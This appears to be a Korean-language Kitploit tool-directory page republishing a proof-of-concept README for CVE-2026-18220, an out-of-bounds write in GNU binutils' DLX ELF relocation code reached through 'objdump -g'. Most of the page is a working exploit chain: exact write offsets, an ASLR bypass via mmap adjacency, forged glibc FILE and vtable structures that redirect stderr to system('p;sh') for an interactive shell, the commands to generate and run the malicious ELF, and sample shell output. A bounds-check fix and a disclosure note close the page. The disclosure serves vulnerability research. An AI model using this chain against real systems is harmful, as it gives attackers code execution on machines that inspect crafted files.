Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
objdump-Out-Of-Bounds-write — CVE-2026-18220을 시연하는 개념 증명(PoC)으로, GNU binutils의 DLX ELF 백엔드에 존재하는 범위를 벗어난(OOB) 쓰기 취약점입니다(`objdump -g`를 통해 트리거됨). | Kitploit
도구/GitHubGitHub/4d4j/objdump-out-of-bounds-write
Vulnerability AnalysisExploitationBinary AnalysisPapers & ResearchLearning & EducationBinary Exploitation
GitHub4d4j/objdump-out-of-bounds-write

objdump-Out-Of-Bounds-write

CVE-2026-18220을 시연하는 개념 증명(PoC)으로, GNU binutils의 DLX ELF 백엔드에 존재하는 범위를 벗어난(OOB) 쓰기 취약점입니다(`objdump -g`를 통해 트리거됨).

저장소 보기
791921개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

GNU Binutils objdump — OOB 쓰기 → FSOP → 임의 코드 실행

대상: GNU Binutils (HEAD를 포함한 모든 버전) — objdump
환경: Debian 13 (Trixie), glibc 2.41, x86_64
영향: 임의 코드 실행
벡터: objdump -g로 처리되는 조작된 ELF 파일
ASLR: 우회됨 (결정적 mmap 델타)


감사의 말

이 발견에 대해 언급해 주고 공정하게 대해 준 bikini에게 크게 감사드립니다. 그는 정말 좋은 사람이며, 그와 대화할 수 있어 즐거웠습니다. 그 역시 훌륭한 발견들을 해냈습니다. 그의 작업을 꼭 확인해 보세요!


취약점

근본 원인 — bfd/elf32-dlx.c

R_DLX_RELOC_26_PCREL 재배치 핸들러(elf32_dlx_relocate26)는 오프셋을 섹션 크기에 대해 검증하지 않고 에서 4바이트 읽기/쓰기를 수행합니다. 이 함수가 를 반환하므로 의 일반 경계 검사는 완전히 우회됩니다.

data + reloc_entry->address
bfd_reloc_ok
bfd/reloc.c
root@kitploit:~
// bfd/elf32-dlx.c — elf32_dlx_relocate26()
insn  = bfd_get_32(abfd, data + reloc_entry->address);   // OOB read
vallo = insn & 0x03FFFFFF;
if (vallo & 0x03000000)
    vallo = ~(vallo | 0xFC000000) + 1;                   // sign-extend 26 bits

val   = (sym->section->vma + sym->value) - vallo;
insn  = (insn & 0xFC000000) | (val & 0x03FFFFFF);

bfd_put_32(abfd, insn, data + reloc_entry->address);     // OOB write
return bfd_reloc_ok;                                      // skips bounds check

오프셋 reloc_entry->address는 ELF 파일에서 직접 읽히며 섹션 버퍼를 넘어 임의의 위치를 가리킬 수 있습니다.

mmap 근접 트릭

x86_64에서 ELF32 오프셋은 제로 확장되므로 쓰기가 양수 오프셋으로 제한됩니다. .debug_info 섹션이 128KB 이상이면 malloc()이 mmap()을 사용하게 되어 버퍼가 libc의 데이터 세그먼트에 인접하게 배치됩니다:

root@kitploit:~
┌──────────────────────────────────────┐  ← same mmap region
│  .debug_info buffer (192 KB)         │  data     = 0x7f...d010
│  ├── fake _IO_wide_data  (+0x1000)   │
│  └── fake _IO_jump_t     (+0x2000)   │
│              ...                     │
│  _IO_2_1_stderr_                     │  stderr   = data + 0x21a4d0
│  _IO_wfile_jumps                     │  wfile    = data + 0x218218
│  system()                            │  system() = data + 0x87100
└──────────────────────────────────────┘

두 영역 모두 libc 로딩 중에 동일한 mmap으로 할당되므로 stderr - data = 0x21A4D0 델타는 ASLR 실행 간에 일정합니다.


FSOP 공격 체인

실행 경로

root@kitploit:~
objdump writes to stderr ("Can't get contents for section...")
  └─► _IO_wfile_overflow(stderr)
      └─► _IO_wdoallocbuf(stderr)
          └─► _IO_WDOALLOCATE(stderr)
              = stderr->_wide_data->_wide_vtable->__doallocate(stderr)
              = fake_vtable[0x68](https://github.com/4d4j/objdump-out-of-bounds-write/blob/main/stderr)
              = system(stderr)
              = system("p;sh")         ← stderr._flags[0:4] = "p;sh"

5개의 OOB 쓰기 (PCREL26)

#대상 (data 기준 오프셋)효과
00x21A4CF = stderr − 1_flags[0:3] = cmd[0..2] → system() 인자의 시작
10x21A4F8 = stderr + 0x28_IO_write_ptr ≠ 0 → 플러시 강제 → 오버플로우
20x21A56F = stderr + 0x9F_wide_data[0:3] → 가짜 _IO_wide_data를 가리킴
30x21A5A7 = stderr + 0xD7vtable[0:3] → _IO_wfile_jumps
40x21A4D2 = stderr + 2_flags[3] = cmd[3], 패딩 제거 → 널 종결자

가짜 구조체 (섹션 버퍼 내)

root@kitploit:~
data + 0x1000 : fake _IO_wide_data
  +0xE0      : _wide_vtable → data + 0x2000

data + 0x2000 : fake _IO_jump_t
  +0x68      : __doallocate → system()

명령 제약 조건

이 익스플로잇은 2~4자 명령을 지원합니다. 재배치 0이 _flags[0:3]을 쓰고 재배치 4가 _flags[3]을 쓰고 패딩을 제거하여, 자연 널 종결자 앞에 최대 4자를 system()에 전달합니다.

glibc의 FILE 플래그 레이아웃에 의해 처음 두 바이트만 제약됩니다:

비트플래그제약 조건이유
1_IO_UNBUFFEREDcmd[0] & 0x02 == 0그렇지 않으면 _IO_wdoallocbuf가 __doallocate를 건너뜀
3_IO_NO_WRITEScmd[0] & 0x08 == 0그렇지 않으면 오버플로우가 즉시 WEOF를 반환
13_IO_IS_FILEBUFcmd[1] & 0x20 != 0doallocate 블록에 진입하는 데 필요

cmd[2]와 cmd[3]은 제약이 없습니다.

명령바이트효과
"ps"70 73프로세스 목록
"p;sh"70 3B 73 68대화형 셸 실행 ← 가장 유용
"p;ls"70 3B 6C 73디렉터리 목록
"p;id"70 3B 69 64uid/gid 출력

재현

전제 조건

root@kitploit:~
# Build binutils with DLX target support
cd binutils-gdb && mkdir build && cd build
../configure --target=dlx-elf --disable-nls --disable-werror
make -j$(nproc)

페이로드 생성 + 익스플로잇 실행

root@kitploit:~
# Step 1: Generate the malicious ELF (choose your command)
python3 poc_generate.py --cmd "p;sh" -o exploit.bin

# Step 2: Run the exploit (ASLR on, standalone, no GDB)
python3 poc_ptrace.py --cmd "p;sh"   # interactive shell
python3 poc_ptrace.py --cmd "p;id"   # print uid/gid
python3 poc_ptrace.py                # default: "ps"

이 익스플로잇은 ASLR 바이트-3 불일치 시 자동으로 최대 5회 재시도하며(시도당 약 12%), 약 99.998%의 성공률에 도달합니다.

예상 출력

root@kitploit:~
[*] libc: /lib/x86_64-linux-gnu/libc.so.6
[*] cmd = 'p;sh'  bytes = ['0x70', '0x3b', '0x73', '0x68']
[*] objdump_base = 0x005e61dfbf5000
[*] fn_addr      = 0x005e61e06cad90  (elf32_dlx_relocate26)
[*] libc_base = 0x0075b1ed86c000
[*] stderr    = 0x0075b1eda524e0
[*] system    = 0x0075b1ed8bf110
[*] actual delta = 0x21a4d0  (expected 0x21a4d0)
[*] reloc0 sym->value <- 0x00f65c20  (cmd[0..2] = 'p;s')
[*] reloc4 sym->value <- 0x016d0000  (cmd[3] = 0x68)
...
[+] system() reached — command executing
$ id                                   ← interactive shell
uid=1000(user) gid=1000(user) groups=1000(user)
[+] Done

제안된 수정

섹션 데이터에 접근하기 전에 elf32_dlx_relocate26()에 경계 검사를 추가하십시오:

root@kitploit:~
if (reloc_entry->address + 4 > input_section->size)
    return bfd_reloc_outofrange;

파일

파일설명
poc_generate.py5개의 OOB 재배치가 포함된 악성 DLX ELF 페이로드(exploit.bin)를 생성합니다
poc_ptrace.py독립 실행형 익스플로잇 — ptrace 기반 ASLR 우회, 재시도 루프, GDB 불필요
exploit.bin미리 생성된 페이로드 (기본 명령 "p;sh")

공개

이 취약점은 GNU Binutils 유지관리자에게 보고되었습니다. 익스플로잇 코드는 승인된 보안 연구 목적으로만 제공됩니다.

패치

https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=114e3aae2b7e34057c8909301eaf78c15687e8e5

도구 다운로드